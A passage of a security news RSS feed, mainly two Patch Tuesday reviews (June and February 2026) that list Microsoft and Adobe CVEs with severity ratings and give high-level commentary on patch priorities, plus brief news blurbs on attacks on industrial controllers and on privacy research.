  <td width="256" class="xl68">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45597"><span>CVE-2026-45597</span></a></td>
  <td width="256" class="xl68">Windows UI Automation
  Manager (uiamanager.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45599"><span>CVE-2026-45599</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45635"><span>CVE-2026-45635</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40409"><span>CVE-2026-40409</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40404"><span>CVE-2026-40404</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42989"><span>CVE-2026-42989</span></a></td>
  <td width="256" class="xl68">Winlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.</p><p class="">Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.</p><p class="">There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be. </p><p class="">Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. </p><p class="">Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.</p><p class="">There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.</p><p class="">I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.</p><p class="">There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p><p class=""> </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hackers Exploit Industrial PLCs and Manipulate HMI Displays to Hide Attacks]]></title>
<description><![CDATA[Six federal agencies have updated a joint advisory warning that Iranian-affiliated advanced persistent threat (APT) actors are actively exploiting internet-exposed programmable logic controllers (PLCs) across U.S. critical infrastructure, manipulating human-machine interface (HMI) displays so ope...]]></description>
<link>https://tsecurity.de/de/3694552/hacking/hackers-exploit-industrial-plcs-and-manipulate-hmi-displays-to-hide-attacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694552/hacking/hackers-exploit-industrial-plcs-and-manipulate-hmi-displays-to-hide-attacks/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:44 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Six federal agencies have updated a joint advisory warning that Iranian-affiliated advanced persistent threat (APT) actors are actively exploiting internet-exposed programmable logic controllers (PLCs) across U.S. critical infrastructure, manipulating human-machine interface (HMI) displays so operators cannot visually detect the intrusion. The advisory, first issued in April 2026 and revised on July 22, 2026, is cosigned […]</p>
<p>The post <a href="https://gbhackers.com/hackers-exploit-industrial-plcs/">Hackers Exploit Industrial PLCs and Manipulate HMI Displays to Hide Attacks</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Collaborative machine learning that preserves privacy]]></title>
<description><![CDATA[Researchers increase the accuracy and efficiency of a machine-learning method that safeguards user data.]]></description>
<link>https://tsecurity.de/de/3694498/it-security-nachrichten/collaborative-machine-learning-that-preserves-privacy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694498/it-security-nachrichten/collaborative-machine-learning-that-preserves-privacy/</guid>
<pubDate>Sat, 25 Jul 2026 19:01:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Researchers increase the accuracy and efficiency of a machine-learning method that safeguards user data.]]></content:encoded>
</item>
<item>
<title><![CDATA[A new way to look at data privacy]]></title>
<description><![CDATA[Researchers create a privacy technique that protects sensitive data while maintaining a machine-learning model’s performance.]]></description>
<link>https://tsecurity.de/de/3694497/it-security-nachrichten/a-new-way-to-look-at-data-privacy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694497/it-security-nachrichten/a-new-way-to-look-at-data-privacy/</guid>
<pubDate>Sat, 25 Jul 2026 19:01:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Researchers create a privacy technique that protects sensitive data while maintaining a machine-learning model’s performance.]]></content:encoded>
</item>
<item>
<title><![CDATA[New security protocol shields data from attackers during cloud-based computation]]></title>
<description><![CDATA[The technique leverages quantum properties of light to guarantee security while preserving the accuracy of a deep-learning model.]]></description>
<link>https://tsecurity.de/de/3694488/it-security-nachrichten/new-security-protocol-shields-data-from-attackers-during-cloud-based-computation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694488/it-security-nachrichten/new-security-protocol-shields-data-from-attackers-during-cloud-based-computation/</guid>
<pubDate>Sat, 25 Jul 2026 19:01:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The technique leverages quantum properties of light to guarantee security while preserving the accuracy of a deep-learning model.]]></content:encoded>
</item>
<item>
<title><![CDATA[Hackers Exploit Industrial PLCs and Manipulate HMI Displays to Hide Attacks]]></title>
<description><![CDATA[Six federal agencies have updated a joint advisory warning that Iranian-affiliated advanced persistent threat (APT) actors are actively exploiting internet-exposed programmable logic controllers (PLCs) across U.S. critical infrastructure, manipulating human-machine interface (HMI) displays so ope...]]></description>
<link>https://tsecurity.de/de/3694480/it-security-nachrichten/hackers-exploit-industrial-plcs-and-manipulate-hmi-displays-to-hide-attacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694480/it-security-nachrichten/hackers-exploit-industrial-plcs-and-manipulate-hmi-displays-to-hide-attacks/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Six federal agencies have updated a joint advisory warning that Iranian-affiliated advanced persistent threat (APT) actors are actively exploiting internet-exposed programmable logic controllers (PLCs) across U.S. critical infrastructure, manipulating human-machine interface (HMI) displays so operators cannot visually detect the intrusion. The advisory, first issued in April 2026 and revised on July 22, 2026, is cosigned […]</p>
<p>The post <a href="https://gbhackers.com/hackers-exploit-industrial-plcs/">Hackers Exploit Industrial PLCs and Manipulate HMI Displays to Hide Attacks</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The February 2026 Security Update Review]]></title>
<description><![CDATA[I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft.  If you’d rather watch the full video recap covering the entire re...]]></description>
<link>https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft.  If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for February 2026</strong></p><p class="">For February, Adobe released nine bulletins addressing 44 unique CVEs in Adobe Audition, After Effects, InDesign, Substance 3D Designer, Substance 3D Stager, Adobe Bridge, Substance 3D Modeler, Lightroom Classic, and the Adobe DNG Software Development Kit (SDK). The largest update here is for <a href="https://helpx.adobe.com/security/products/after_effects/apsb26-15.html">After Effects</a>, which fixes 13 Critical and two Important rated bugs. The patch for <a href="https://helpx.adobe.com/security/products/substance3d_designer/apsb26-19.html">Substance 3D Designer</a> is on the larger side with seven fixes, but only two of those are Critical. On the other hand, the fix for <a href="https://helpx.adobe.com/security/products/substance3d_stager/apsb26-20.html">Substance 3D Stager</a> corrects five Critical-rated bugs that could lead to code execution. The <a href="https://helpx.adobe.com/security/products/audition/apsb26-14.html">Audition</a> patch fixes six bugs, but only one is Critical.</p><p class="">The other patches are smaller in size. The fix for the <a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-23.html">Adobe DNG Software Development Kit (SDK)</a> corrects two Critical and two Important-rated bugs. The <a href="https://helpx.adobe.com/security/products/indesign/apsb26-17.html">InDesign</a> patch fixes three bugs, but only one is Critical. The update for <a href="https://helpx.adobe.com/security/products/bridge/apsb26-21.html">Adobe Bridge</a> fixes two Critical bug that could lead to code execution. The patch for <a href="https://helpx.adobe.com/security/products/lightroom/apsb26-06.html">Lightroom Classic</a> addresses a single Critical bug, and the release is wrapped up with a patch for <a href="https://helpx.adobe.com/security/products/substance3d-modeler/apsb26-22.html">Substance 3D Modeler</a> that fixes a single, Important-rated memory link.</p><p class="">None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and all of the updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for February 2026</strong></p><p class="">This month, Microsoft drops 58 new CVEs in Windows and Windows components, Office and Office Components, Azure, Microsoft Edge (Chromium-based), .NET and Visual Studio, GitHub Copilot, Mailslot FS, Exchange Server, Internet Explorer (!), Power BI, Hyper-V Server, and the Windows Subsystem for Linux. Counting the third-party and Chromium updates listed in the release, it brings the total number of CVEs to 62. One of the bugs in the Windows Graphics component was submitted through the ZDI program. Five of these bugs are rated Critical, two are rated Moderate, and the rest are rated Important in severity.</p><p class="">It’s typical to see this number of CVEs released in February, but the number of bugs under active attack is extraordinarily high. Microsoft lists six bugs being exploited at the time of release, with three of these listed as publicly known. Last month only had a single bug being exploited, although there were twice as many CVEs patched. We’ll see if we’re on our way to another “hot exploit summer” as we saw a few years ago or if this is just an aberration. </p><p class="">Let’s take a closer look at some of the more interesting updates for this month, starting with the bugs under active attack: </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21510"><strong>CVE-2026-21510</strong></a><strong> - Windows Shell Security Feature Bypass Vulnerability<br></strong>This bug is listed as a security feature bypass, but it could also be classified as code execution. An attacker can bypass Windows SmartScreen and Windows Shell security prompts to execute code on a target system. This bug is also listed as publicly known, but Microsoft doesn’t say where. There is user interaction here, as the client needs to click a link or a shortcut file. Still, a one-click bug to gain code execution is a rarity. Definitely test and deploy this fix quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21514"><strong>CVE-2026-21514</strong></a><strong> - Microsoft Word Security Feature Bypass Vulnerability<br></strong>This bug also requires user interaction in the form of opening a Word document, but that’s all that’s required to bypass protections to dangerous COM/OLE controls. Thankfully, the Preview Pane is <em>not</em> an attack vector here. However, users are well known to open lots of documents they receive in e-mail. This bypass could also result in code execution if the right COM/OLE control is hit. This is also listed as publicly known, so add this to the list to test and deploy quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21519"><strong>CVE-2026-21519</strong></a><strong> - Desktop Window Manager Elevation of Privilege Vulnerability<br></strong>This is the second month in a row that a DWM was listed as being exploited in the wild. That leads me to believe the first patch didn’t completely resolve the vulnerability. Same as last month, this bug allows attackers to run code with SYSTEM privileges. Bugs of this type are typically paired with a code execution bug to take over a system. As always, Microsoft offers no indication of how widespread these exploits may be.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21533"><strong>CVE-2026-21533</strong></a><strong> - Windows Remote Desktop Services Elevation of Privilege Vulnerability<br></strong>Don’t let the word “Remote” in the title fool you – this is a local bug that allows attackers to run code with SYSTEM privileges. It’s interesting that Microsoft lists “Improper privilege management” as the root cause for this issue. If the system is running Remote Desktop Services, it’s probably a juicy target for attackers to move laterally after an initial breach. Add this one to the list of patches to test and deploy immediately.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21513"><strong>CVE-2026-21513</strong></a><strong> - Internet Explorer Security Feature Bypass Vulnerability<br></strong>Although long gone by many measurements, IE does still exist on Windows systems, and calling it always results in a vulnerability somehow. This bug manifests similarly to the Shell bug above, as it requires user interaction but could result in code execution. The bypass here is simply the ability to reach IE, which shouldn’t be possible. Again, test and deploy this fix quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21525"><strong>CVE-2026-21525</strong></a><strong> - Windows Remote Access Connection Manager Denial of Service Vulnerability<br></strong>It’s unusual to see DoS bugs being used in active attacks, but that’s what we have here. A null pointer deref in the Windows Remote Access Connection Manager allows an unauthorized attacker to deny service locally. Most null pointer derefs cause the application or service to crash, but it’s not clear if it will automatically restart. I would exercise caution and patch quickly either way.</p><p class="">Here’s the full list of CVEs released by Microsoft for February 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026_PatchTable-Feb.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="953">
 <col width="151" class="xl69">
 <col width="263" class="xl72">
 <col width="111" class="xl71" span="4">
 <col width="95" class="xl71">
 <tr height="48">
  <td width="151" class="xl69" height="48"><span> </span>CVE<span> </span></td>
  <td width="263" class="xl72"><span> </span>Title<span> </span></td>
  <td width="111" class="xl71"><span> </span>Severity<span> </span></td>
  <td width="111" class="xl71"><span> </span>CVSS<span> </span></td>
  <td width="111" class="xl71"><span> </span>Public</td>
  <td width="111" class="xl71"><span> </span>Exploited<span> </span></td>
  <td width="95" class="xl71"><span> </span>TYPE<span> </span></td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21514"><span><span> </span>CVE-2026-21514<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Word Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21510"><span><span> </span>CVE-2026-21510<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Shell Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21513"><span><span> </span>CVE-2026-21513<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Internet Explorer Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21519"><span><span> </span>CVE-2026-21519<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Desktop Window Manager Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl74" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21533"><span><span> </span>CVE-2026-21533<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Remote Desktop Services Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21525"><span><span> </span>CVE-2026-21525<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Remote Access Connection Manager
  Denial of Service Vulnerability<span> </span></td>
  <td class="xl68"><span> </span>Moderate<span> </span></td>
  <td class="xl65">6.2</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21511"><span><span> </span>CVE-2026-21511<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Outlook Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-2804"><span><span> </span>CVE-2023-2804 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Red Hat, Inc. CVE-2023-2804: Heap Based
  Overflow libjpeg-turbo<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>Yes<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24302"><span><span> </span>CVE-2026-24302<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Arc Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">8.6</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24300"><span><span> </span>CVE-2026-24300<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Front Door Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">9.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21532"><span><span> </span>CVE-2026-21532<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Function Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">8.2</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21522"><span><span> </span>CVE-2026-21522<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">6.7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23655"><span><span> </span>CVE-2026-23655<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft ACI Confidential Containers
  Information Disclosure Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21218"><span><span> </span>CVE-2026-21218<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>.NET and Visual Studio Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21512"><span><span> </span>CVE-2026-21512<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure DevOps Server Cross-Site Scripting
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">XSS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21529"><span><span> </span>CVE-2026-21529 †</span></a></td>
  <td width="263" class="xl75"><span> </span>Azure HDInsight Spoofing Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21528"><span><span> </span>CVE-2026-21528<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
